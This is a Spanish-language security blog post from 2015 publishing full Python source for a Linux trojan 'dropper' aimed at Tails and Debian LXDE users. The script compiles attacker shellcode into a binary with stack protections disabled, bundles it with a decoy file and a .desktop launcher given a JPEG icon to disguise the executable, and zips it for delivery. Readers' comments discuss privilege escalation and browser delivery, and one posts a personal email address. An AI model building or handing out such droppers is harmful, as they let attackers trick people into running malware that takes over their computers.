lunes, 2 de noviembre de 2015

Mitos, Leyendas y Fantasías - Parte 2b

En el artículo anterior de esta serie, examinamos la famosa técnica del "executable dropper", usualmente empleada en Windows, pero adaptada para Linux, específicamente a la distribución Tails. En aquella demostración nos enfocamos meramente en el aspecto técnico de la implementación de este ataque, sin prestar demasiada atención a sus aspectos acompañantes de ingeniería social.

En consecuencia, recibimos algunos comentarios que objetaban principalmente dos puntos de nuestra prueba de concepto, ambas aplicables a la distribución Debian con LXDE:

1.- Al menos en otras distribuciones, al tratar de abrir nuestro troyano se desplegaban advertencias que indicaban que se está tratando de abrir un ejecutable. El sistema operativo es muy explícito en preguntar si el usuario está seguro de lo que está haciendo.
2.- El ícono ejecutable del troyano es una señal inconfundible para un usuario medianamente acostumbrado a usar cualquier distribución de Linux. En consecuencia, sólo "L-users" muy poco acostumbrados a usar Linux caerían en esta trampa.

Ambas objeciones tienen poco que ver con la técnica del "executable dropper" y más con la implementación de estos ataques de forma práctica (i.e. en el campo). Como es usual, estos detalles de campo se dejan por fuera de las pruebas de concepto por distintas razones, pero la principal es para no distraer la atención de la técnica demostrada.

Sin embargo, para aclarar estas dudas y para demostrar que estas pruebas de concepto se pueden hacer tan prácticas como se quiera, he realizado un video con la siguiente versión de mi "Linux_dropper". Esta versión está específicamente diseñada para evadir las dos señales objetadas en Debian con LXDE. Es importante agregar que las técnicas utilizadas para evadirlas en este ambiente específico no necesariamente funcionarían en cualquier otra distribución. Sin embargo, puedo asegurar, sin mucho temor a equivocarme, que siempre es posible lograrlo, no importa la distribución o ambiente específico tratado. Como siempre, pero sobre todo en esta profesión, con suficientes recursos y motivación, _todo es posible_. Espero que con esta demostración se pueda apreciar el verdadero alcance de esta técnica de una forma más apegada a cómo se llevaría a cabo este ataque en la vida real. Que disfruten de la nueva paranoia:




PD: Los elementos adicionales agregados al script anterior para lograr este nivel de ingeniería social se dejan como tarea al lector. Lo siento, "secrets of the trade" ;-).

PD2: Si, "secrets of the trade", pero para estar en linea con los amigos de Offensive Security: "I can be bribed, though".

Actualización: La demanda popular me convenció a publicar el código  de este dropper.
Advertencia: El código a continuación podría probablemente usarse de ejemplo para todo lo que *no* debe hacerse al programar. Como siempre, estas cosas son el producto de unos cuantos minutos de ocio que se juntan con un poquito de curiosidad. Aquí hay cualquier cantidad de oportunidad de mejora y hasta para hacerlo que funcione correctamente en casos generales. Pero a falta de tiempo para hacerlo y para no frenar al resto de Internet, aquí esta:

#! /usr/bin/python
import subprocess,sys

def get_host_bytes(f):
 res = ""
 with open(f, "rb") as f:
         byte = f.read(1)
         while byte != b"":
                 # Do stuff with byte.
                 res += str(ord(byte)) + ","
                 byte = f.read(1)
 return res

def execute_os(cmd):
 cmd_array = cmd.split()
 p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
 res, err = p.communicate()
 print err
 return res

if len(sys.argv) < 3:
 print "Usage: " + sys.argv[0] + " <.odt|.avi|.jpg|.*> "
 sys.exit(0)

flags = "-m32 -z execstack -fno-stack-protector"

if "x64" in sys.argv[2]:
 flags = "-m64 -z execstack -fno-stack-protector"

host_name = sys.argv[1]
bs = get_host_bytes(host_name)
se_binary = ".self_extracting_archive"
se_desktop = "Extract.both.files.on" + ".desktop"

#payload_cmd = "msfvenom -p windows/shell_bind_tcp -f c"
payload_cmd = sys.argv[2]
payload = execute_os(payload_cmd)

host_skel = '''#include <stdlib.h>
#include <stdio.h>

%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;

int main(void){

 fp = fopen(host_output, "w");
 fwrite(host,1,sizeof(host),fp);
 fclose(fp);
 
 p = fork();
        if (p == 0){
                ((void (*)()) buf)();
        } else {
  system("xdg-open /tmp/%s");
 }

}
''' 

hh = host_skel % (payload,bs,host_name,host_name)
c_code = open("/tmp/x.c","w")
c_code.write(hh)
c_code.close()

# Icon=gnome-mime-image-jpeg for jpg
# TODO if jpeg then else
icon = "gnome-mime-image-jpeg"

dfile_skel = '''[Desktop Entry]
Version=1.0
Type=Application
Name=%s
Exec=bash -c '"$(dirname "$1")"/%s' dummy %%k/t
Icon=%s
'''

dfile_txt = dfile_skel % (host_name,se_binary, icon)

dfile = open(se_desktop,"w")
dfile.write(dfile_txt)
dfile.close()

cmd_array = ["gcc"] + flags.split() + ["-o", ".self_extracting_archive", "/tmp/x.c"]
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err

create_zip = "zip %s.zip %s %s" % (host_name, se_binary, se_desktop)
execute_os(create_zip)

delete_temps = "rm -f /tmp/x.c %s %s" % (se_binary, se_desktop)
execute_os(delete_temps)



6 comentarios:

  1. Excelente, tomas el control del equipo, los puristas de linux dirán que no tienes un usuario System como lo podrías tener en Windows, aunque sería un tanto trivial escalar privilegios, creo que si la demo hubiese terminado con eso, hubiese sido más pro aquello de "paranoia" contando que el usuario vulnerado no está registrado en sudoers :D

    ResponderEliminar
  2. Aunque ciertamente en un PC de escritorio, la información más importante está en la cuenta del usuario, y no en la de root :D fotos, documentos, etc.

    ResponderEliminar
  3. Por cierto, me quedé en el pasado? como que soy oldschool? ya no usamos Metal de fondo musical? casi me duermo antes de terminar de ver el video jejejej... Saludos

    ResponderEliminar
  4. LOL. Gracias por los comentarios. El 0day de elevación de privilegios en Linux es para los proximos artículos/videos (mmm, no), sin embargo el Metal si que de ahora en adelante no faltará. #lol.

    ResponderEliminar
  5. Jajaja, sin Metal, no hay paraiso...

    Por cierto, será bueno comentar en tu blog, que tanto xdg-open como el mismo navegador, no verifican el tipo real del archivo a ejecutar y ejecutan por extensión, por lo que el navegador puede ser un vector interesante para explotar estos features :D como lo vimos la semana pasada.
    Saludos

    ResponderEliminar
  6. Hola, puedo contactarte? mi correo es german.sabogal@hotmail.es Gracias

    ResponderEliminar